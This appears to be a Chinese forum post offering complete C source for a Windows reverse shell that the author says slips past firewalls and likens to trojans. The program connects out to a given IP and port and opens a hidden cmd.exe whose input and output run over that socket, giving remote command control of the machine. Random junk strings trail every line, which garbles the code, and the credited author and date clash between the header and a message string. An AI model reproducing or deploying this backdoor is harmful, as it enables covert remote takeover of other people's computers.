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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 @K\ hgaQ  
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/* ============================== QzS=oiL  
Rebound port in Windows NT mjKu\7F  
By wind,2006/7 QB ; jZpF  
===============================*/ .~X&BY>qP  
#include KW(^-:wmr  
#include .S*VYt%K7  
<FfmDR  
#pragma comment(lib,"wsock32.lib") 0( q:K6zI}  
)3.=)?XW  
void OutputShell(); [xo-ZDIoG  
SOCKET sClient; ){*9$486  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; epgAfx-_OH  
T'!p{Fbg;  
void main(int argc,char **argv) HutQx  
{ 4Q:r83#  
WSADATA stWsaData; +<bvh<]Od  
int nRet; ^Q9K]Vo  
SOCKADDR_IN stSaiClient,stSaiServer; KzQuLD(e  
rlY n"3%  
if(argc != 3) kQD~v+u{`  
{ TeKU/&fkc  
printf("Useage:\n\rRebound DestIP DestPort\n"); p %hvDC  
return; ?-JW2 E"uT  
} Q7-'5s   
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WSAStartup(MAKEWORD(2,2),&stWsaData); Zs2;VW4RW  
9XmbHS[0V  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pgBIYeY,  
QL:Qzr[  
stSaiClient.sin_family = AF_INET; %OOy90b2  
stSaiClient.sin_port = htons(0); ,*8)aZ1 k  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); gO#%*  W  
+ cZC$lo  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) kgd dq  
{ $}B&u)  
printf("Bind Socket Failed!\n"); 7()5\ae@q'  
return; pZKK7   
} !m8T< LtMl  
2=,d.1E3d  
stSaiServer.sin_family = AF_INET; }Z)YK}_1  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); |lN=q44I  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); baGV]=j  
w|f@sB>j  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) IZuP{7p$  
{ <Ok7 -:OxA  
printf("Connect Error!"); }U?:al/m  
return; o1thGttVDg  
} [9yd29pQ]  
OutputShell(); ; W$.>*O  
} .E;}.X  
Ld 0j!II(  
void OutputShell() |Xmzq X%  
{ -Gjz+cRns  
char szBuff[1024]; qv[w 1;U"  
SECURITY_ATTRIBUTES stSecurityAttributes; GJ:oUi  
OSVERSIONINFO stOsversionInfo; 2V*;=cv~z  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; J;ycAF~  
STARTUPINFO stStartupInfo; z{/#/,V5D4  
char *szShell; 8X/SNRk6p  
PROCESS_INFORMATION stProcessInformation; vAjog])9s  
unsigned long lBytesRead; h+w1 D}*  
mR~S$6cc  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); JFq<sY!  
=3PZGdWD  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); lo-VfKvy  
stSecurityAttributes.lpSecurityDescriptor = 0; 5a4i)I6 3o  
stSecurityAttributes.bInheritHandle = TRUE; %~P3t=r  
,YRBYK:  
#Q BW%L  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ),H1z`c&I  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); E:;MI{;7  
5=  V29  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); SNf~%B?`L  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &yI>A1  
stStartupInfo.wShowWindow = SW_HIDE; [AYJ(H/  
stStartupInfo.hStdInput = hReadPipe; &~'i,v|E  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; VVfTFi<  
9%2h e)Yqc  
GetVersionEx(&stOsversionInfo); BZIU@^Q_Y[  
+0%Y.O/{  
switch(stOsversionInfo.dwPlatformId) 0}M'>  
{ EyHL&  
case 1: _ Td#C1g3  
szShell = "command.com"; pcQgWjfS  
break; ?Zb3M  
default: qcge#S>  
szShell = "cmd.exe"; >8&fFq  
break; nELY(z  
} BU|)lU5)z  
PP]7_h^ 2  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); IFW7MF9V  
'<'5BeU  
send(sClient,szMsg,77,0); b5? kgY  
while(1) ru|*xNXKgC  
{ h-x~:$Z,  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); x4,[5N"}YK  
if(lBytesRead) zjSHa'9*  
{ 5mZwg(si  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); CZ>Ujw=&k  
send(sClient,szBuff,lBytesRead,0); TP/bX&bjCy  
} nRT ]oAi  
else ])q,mH  
{ uX%$3k  
lBytesRead=recv(sClient,szBuff,1024,0); w-C%,1F,/  
if(lBytesRead<=0) break; TaF;P GjVw  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);  QB !%  
} <U8w#dc  
} T7o7t5*  
q s:TR  
return; NC iB n>=:  
}
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